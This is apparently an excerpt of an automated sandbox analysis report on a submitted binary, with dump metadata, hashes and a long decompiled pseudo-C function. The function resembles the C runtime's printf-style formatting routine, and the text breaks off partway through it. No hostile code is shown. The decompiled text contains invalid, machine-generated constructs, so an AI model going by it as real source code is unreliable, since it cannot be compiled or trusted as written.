0x004351c8
0x004351ce
0x004351da
0x00000000
0x004351da
0x004350aa

APIs

_get_int64_arg.LIBCMTD ref: 004350B8
__aullrem.LIBCMT ref: 00435285
__aulldiv.LIBCMT ref: 004352A7

Strings

9, xrefs: 004352B8

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 8e479b186c38faee6beb2dcedf8807de491c87e4a157677048558e769635c527
Instruction ID: 89e68b90e8ab4b01e48c6edd76e0b42138b9e9f34a9047385b37a137fb77a9a1
Opcode Fuzzy Hash: 8e479b186c38faee6beb2dcedf8807de491c87e4a157677048558e769635c527
Instruction Fuzzy Hash: 7541C171D15A29DFEF24CF89C899BAEB7B5BB88300F2095DAD019A7240C7385A80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043C4A4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0043C4A4(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				signed int _t539;
				signed int _t552;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t613;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t636;
				signed int _t644;
				signed int _t671;
				intOrPtr _t672;
				intOrPtr _t673;
				signed int _t674;
				void* _t676;

				L0:
				while(1) {
					L0:
					_t673 = __esi;
					_t672 = __edi;
					_t565 = __ebx;
					 *(_t674 - 8) = 8;
					if(( *(_t674 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L150:
						__eflags =  *(_t674 - 0x10) & 0x00008000;
						if(( *(_t674 - 0x10) & 0x00008000) == 0) {
							_t623 =  *(_t674 - 0x10) & 0x00001000;
							__eflags = _t623;
							if(_t623 == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00000020;
								if(( *(_t674 - 0x10) & 0x00000020) == 0) {
									_t625 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t625;
									if(_t625 == 0) {
										_t483 = E00428400(_t674 + 0x14);
										_t676 = _t676 + 4;
										__eflags = 0;
										 *(_t674 - 0x4a0) = _t483;
										 *(_t674 - 0x49c) = 0;
									} else {
										_t556 = E00428400(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t556;
										 *(_t674 - 0x49c) = _t625;
									}
								} else {
									_t671 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t671;
									if(_t671 == 0) {
										_t557 = E00428400(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
										 *(_t674 - 0x49c) = _t671;
									} else {
										_t560 = E00428400(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t560;
										 *(_t674 - 0x49c) = _t671;
									}
								}
							} else {
								_t563 = E00428420(_t674 + 0x14);
								_t676 = _t676 + 4;
								 *(_t674 - 0x4a0) = _t563;
								 *(_t674 - 0x49c) = _t623;
							}
						} else {
							_t564 = E00428420(_t674 + 0x14);
							_t676 = _t676 + 4;
							 *(_t674 - 0x4a0) = _t564;
							 *(_t674 - 0x49c) = _t621;
						}
						__eflags =  *(_t674 - 0x10) & 0x00000040;
						if(( *(_t674 - 0x10) & 0x00000040) == 0) {
							goto L167;
						}
						L163:
						__eflags =  *(_t674 - 0x49c);
						if(__eflags > 0) {
							goto L167;
						}
						L164:
						if(__eflags < 0) {
							L166:
							asm("adc edx, 0x0");
							 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
							 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
							 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
							L168:
							__eflags =  *(_t674 - 0x10) & 0x00008000;
							if(( *(_t674 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00001000;
								if(( *(_t674 - 0x10) & 0x00001000) == 0) {
									_t552 =  *(_t674 - 0x4a4) & 0x00000000;
									__eflags = _t552;
									 *(_t674 - 0x4a4) = _t552;
								}
							}
							__eflags =  *(_t674 - 0x30);
							if( *(_t674 - 0x30) >= 0) {
								 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
								__eflags =  *(_t674 - 0x30) - 0x200;
								if( *(_t674 - 0x30) > 0x200) {
									 *(_t674 - 0x30) = 0x200;
								}
							} else {
								 *(_t674 - 0x30) = 1;
							}
							__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
							if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
								 *(_t674 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
							while(1) {
								L178:
								_t631 =  *(_t674 - 0x30) - 1;
								 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
								__eflags =  *(_t674 - 0x30);
								if( *(_t674 - 0x30) > 0) {
									goto L180;
								}
								L179:
								__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
								if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
									L183:
									 *(_t674 - 0x24) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
									 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
									__eflags =  *(_t674 - 0x10) & 0x00000200;
									if(( *(_t674 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L187:
											__eflags =  *(_t674 - 0x28);
											if( *(_t674 - 0x28) != 0) {
												goto L212;
											}
											L188:
											__eflags =  *(_t674 - 0x10) & 0x00000040;
											if(( *(_t674 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000100;
												if(( *(_t674 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000001;
													if(( *(_t674 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t674 - 0x10) & 0x00000002;
														if(( *(_t674 - 0x10) & 0x00000002) != 0) {
															 *((short*)(_t674 - 0x14)) = 0x20;
															 *(_t674 - 0x1c) = 1;
														}
													} else {
														 *((short*)(_t674 - 0x14)) = 0x2b;
														 *(_t674 - 0x1c) = 1;
													}
												} else {
													 *((short*)(_t674 - 0x14)) = 0x2d;
													 *(_t674 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *(_t674 - 0x24) -  *(_t674 - 0x1c);
											__eflags =  *(_t674 - 0x10) & 0x0000000c;
											if(( *(_t674 - 0x10) & 0x0000000c) == 0) {
												E0043CB90(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
											}
											E0043CBD0( *(_t674 - 0x1c), _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
											_t676 = _t676 + 0x10;
											__eflags =  *(_t674 - 0x10) & 0x00000008;
											if(( *(_t674 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000004;
												if(( *(_t674 - 0x10) & 0x00000004) == 0) {
													E0043CB90(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
													_t676 = _t676 + 0x10;
												}
											}
											__eflags =  *(_t674 - 0xc);
											if( *(_t674 - 0xc) != 0) {
												L208:
												E0043CBD0( *(_t674 - 0x24),  *((intOrPtr*)(_t674 - 4)),  *(_t674 - 0x24),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
												goto L209;
											} else {
												L201:
												__eflags =  *(_t674 - 0x24);
												if( *(_t674 - 0x24) <= 0) {
													goto L208;
												}
												L202:
												 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
												 *(_t674 - 0x4b4) =  *(_t674 - 0x24);
												while(1) {
													L203:
													 *(_t674 - 0x4b4) =  *(_t674 - 0x4b4) - 1;
													__eflags =  *(_t674 - 0x4b4);
													if( *(_t674 - 0x4b4) <= 0) {
														break;
													}
													L204:
													_t535 = E0041AEF0(_t674 - 0x40);
													_t539 = E0043B630(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AEF0(_t674 - 0x40))) + 0xac)), _t535);
													_t676 = _t676 + 0x10;
													 *(_t674 - 0x4b8) = _t539;
													__eflags =  *(_t674 - 0x4b8);
													if( *(_t674 - 0x4b8) > 0) {
														L206:
														E0043CB30( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0xc;
														 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *(_t674 - 0x4b8);
														continue;
													}
													L205:
													 *(_t674 - 0x44c) = 0xffffffff;
													break;
												}
												L207:
												L209:
												__eflags =  *(_t674 - 0x44c);
												if( *(_t674 - 0x44c) >= 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000004;
													if(( *(_t674 - 0x10) & 0x00000004) != 0) {
														E0043CB90(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0x10;
													}
												}
											}
											L212:
											__eflags =  *(_t674 - 0x20);
											if( *(_t674 - 0x20) != 0) {
												L0041C5E0( *(_t674 - 0x20), 2);
												_t676 = _t676 + 8;
												 *(_t674 - 0x20) = 0;
											}
											while(1) {
												L214:
												 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
												_t580 =  *(_t674 - 0x454) & 0x0000ffff;
												 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
												if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
													break;
												} else {
													if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
														 *(_t674 - 0x4d8) = 0;
													} else {
														 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
													}
												}
												L7:
												 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
												_t644 =  *(_t674 - 0x450) * 9;
												_t509 =  *(_t674 - 0x45c);
												_t588 = ( *(_t644 + _t509 + 0x407e38) & 0x000000ff) >> 4;
												 *(_t674 - 0x45c) = ( *(_t644 + _t509 + 0x407e38) & 0x000000ff) >> 4;
												if( *(_t674 - 0x45c) != 8) {
													L16:
													 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
													__eflags =  *(_t674 - 0x4e0) - 7;
													if( *(_t674 - 0x4e0) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0043CA24))) {
														case 0:
															L18:
															 *(_t674 - 0xc) = 1;
															E0043CB30( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
															_t676 = _t676 + 0xc;
															goto L214;
														case 1:
															L19:
															 *(__ebp - 0x2c) = 0;
															__ecx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) = __ecx;
															__edx =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__eax =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) =  *(__ebp - 0x18);
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L214;
														case 2:
															L20:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e4) = __ecx;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															__eflags =  *(__ebp - 0x4e4) - 0x10;
															if( *(__ebp - 0x4e4) > 0x10) {
																goto L27;
															}
															L21:
															_t58 =  *(__ebp - 0x4e4) + 0x43ca5c; // 0x498d04
															__ecx =  *_t58 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA44))) {
																case 0:
																	goto L24;
																case 1:
																	goto L25;
																case 2:
																	goto L23;
																case 3:
																	goto L22;
																case 4:
																	goto L26;
																case 5:
																	goto L27;
															}
														case 3:
															L28:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__edx =  *(__ebp - 0x18);
																__edx =  *(__ebp - 0x18) * 0xa;
																__eflags = __edx;
																_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__ecx = __edx + _t82;
																 *(__ebp - 0x18) = __ecx;
															} else {
																__edx = __ebp + 0x14;
																 *(__ebp - 0x18) = E00428400(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	__ecx =  *(__ebp - 0x18);
																	__ecx =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) = __ecx;
																}
															}
															L33:
															goto L214;
														case 4:
															L34:
															 *(__ebp - 0x30) = 0;
															goto L214;
														case 5:
															L35:
															__edx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) * 0xa;
																__eflags = __ecx;
																_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__eax = __ecx + _t93;
																 *(__ebp - 0x30) = __ecx + _t93;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x30) = E00428400(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L214;
														case 6:
															L41:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e8) = __ecx;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															__eflags =  *(__ebp - 0x4e8) - 0x2e;
															if( *(__ebp - 0x4e8) > 0x2e) {
																L64:
																goto L214;
															}
															L42:
															_t101 =  *(__ebp - 0x4e8) + 0x43ca84; // 0xc2919003
															__ecx =  *_t101 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA70))) {
																case 0:
																	L47:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																		L50:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																			L53:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																			if(( *__ecx & 0x0000ffff) == 0x64) {
																				L59:
																				L61:
																				goto L64;
																			}
																			L54:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x69;
																			if(__ecx == 0x69) {
																				goto L59;
																			}
																			L55:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																				goto L59;
																			}
																			L56:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																			if(( *__ecx & 0x0000ffff) == 0x75) {
																				goto L59;
																			}
																			L57:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x78;
																			if(__ecx == 0x78) {
																				goto L59;
																			}
																			L58:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																				 *(__ebp - 0x45c) = 0;
																				goto L18;
																			}
																			goto L59;
																		}
																		L51:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x32;
																		if(__ecx != 0x32) {
																			goto L53;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			goto L61;
																		}
																	}
																	L48:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																	__eflags = __ecx - 0x34;
																	if(__ecx != 0x34) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		goto L61;
																	}
																case 1:
																	L62:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) = __ecx;
																	goto L64;
																case 2:
																	L43:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	} else {
																		__ecx =  *(__ebp + 0xc);
																		__ecx =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) = __ecx;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L64;
																case 3:
																	L63:
																	__edx =  *(__ebp - 0x10);
																	__edx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __edx;
																	 *(__ebp - 0x10) = __edx;
																	goto L64;
																case 4:
																	goto L64;
															}
														case 7:
															L65:
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
															__ecx =  *(__ebp - 0x4ec);
															__ecx =  *(__ebp - 0x4ec) - 0x41;
															 *(__ebp - 0x4ec) = __ecx;
															__eflags =  *(__ebp - 0x4ec) - 0x37;
															if( *(__ebp - 0x4ec) > 0x37) {
																while(1) {
																	L187:
																	__eflags =  *(_t674 - 0x28);
																	if( *(_t674 - 0x28) != 0) {
																		goto L212;
																	}
																	goto L188;
																}
															}
															L66:
															_t142 =  *(__ebp - 0x4ec) + 0x43caf0; // 0xcccccc0d
															__eax =  *_t142 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043CAB4))) {
																case 0:
																	L120:
																	 *(__ebp - 0x2c) = 1;
																	 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	 *(__ebp - 0x454) = __ax;
																	goto L121;
																case 1:
																	L67:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	goto L69;
																case 2:
																	L82:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L84;
																case 3:
																	L144:
																	 *(__ebp - 0x460) = 7;
																	goto L146;
																case 4:
																	L75:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x474) = E00428400(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x474);
																	if( *(__ebp - 0x474) == 0) {
																		L77:
																		__edx =  *0x440f80; // 0x404478
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																		L81:
																		goto L187;
																	}
																	L76:
																	__ecx =  *(__ebp - 0x474);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L81;
																	}
																	goto L77;
																case 5:
																	L121:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L123:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L128:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				__ecx =  *(__ebp - 0x30);
																				__ecx =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B960( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__edx =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__edx =  *(__ebp + 0x14);
																			__eax =  *(__edx - 8);
																			__ecx =  *(__edx - 4);
																			 *(__ebp - 0x490) =  *(__edx - 8);
																			 *(__ebp - 0x48c) =  *(__edx - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041AEF0(__ebp - 0x40));
																			__edx =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__eax =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__ecx =  *(__ebp - 0x454);
																			_push( *(__ebp - 0x454));
																			__edx =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__eax =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__ecx = __ebp - 0x490;
																			_push(__ebp - 0x490);
																			__edx =  *0x440374; // 0xd5b65caa
																			E00424760(__edx) =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AEF0(__ebp - 0x40));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx =  *0x440380; // 0xd44284aa
																					E00424760(__edx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AEF0(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x44037c; // 0xd44114aa
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *(__ebp - 4);
																			__edx =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__ecx =  *(__ebp - 4);
																				__ecx =  *(__ebp - 4) + 1;
																				__eflags = __ecx;
																				 *(__ebp - 4) = __ecx;
																			}
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																			do {
																				L187:
																				__eflags =  *(_t674 - 0x28);
																				if( *(_t674 - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			} while ( *(__ebp - 0x4ec) > 0x37);
																			goto L66;
																		}
																		L124:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																		if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																			goto L126;
																		}
																		L125:
																		 *(__ebp - 0x30) = 1;
																		goto L128;
																	}
																	L122:
																	 *(__ebp - 0x30) = 6;
																	goto L128;
																case 6:
																	L69:
																	 *(__ebp - 0xc) = 1;
																	__ebp + 0x14 = E00428400(__ebp + 0x14);
																	 *(__ebp - 0x458) = __ax;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) & 0x00000020;
																	__eflags = __ecx;
																	if(__ecx == 0) {
																		 *(__ebp - 0x448) =  *(__ebp - 0x458);
																	} else {
																		 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																		 *(__ebp - 0x470) = __dl;
																		 *((char*)(__ebp - 0x46f)) = 0;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AEF0(__ebp - 0x40);
																		__ecx = __ebp - 0x40;
																		E0041AEF0(__ebp - 0x40) =  *__eax;
																		__ecx =  *(__ebp - 0x448 + 0xac);
																		__edx = __ebp - 0x470;
																		__eax = __ebp - 0x448;
																		__eax = E0043B630(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																		__eflags = __eax;
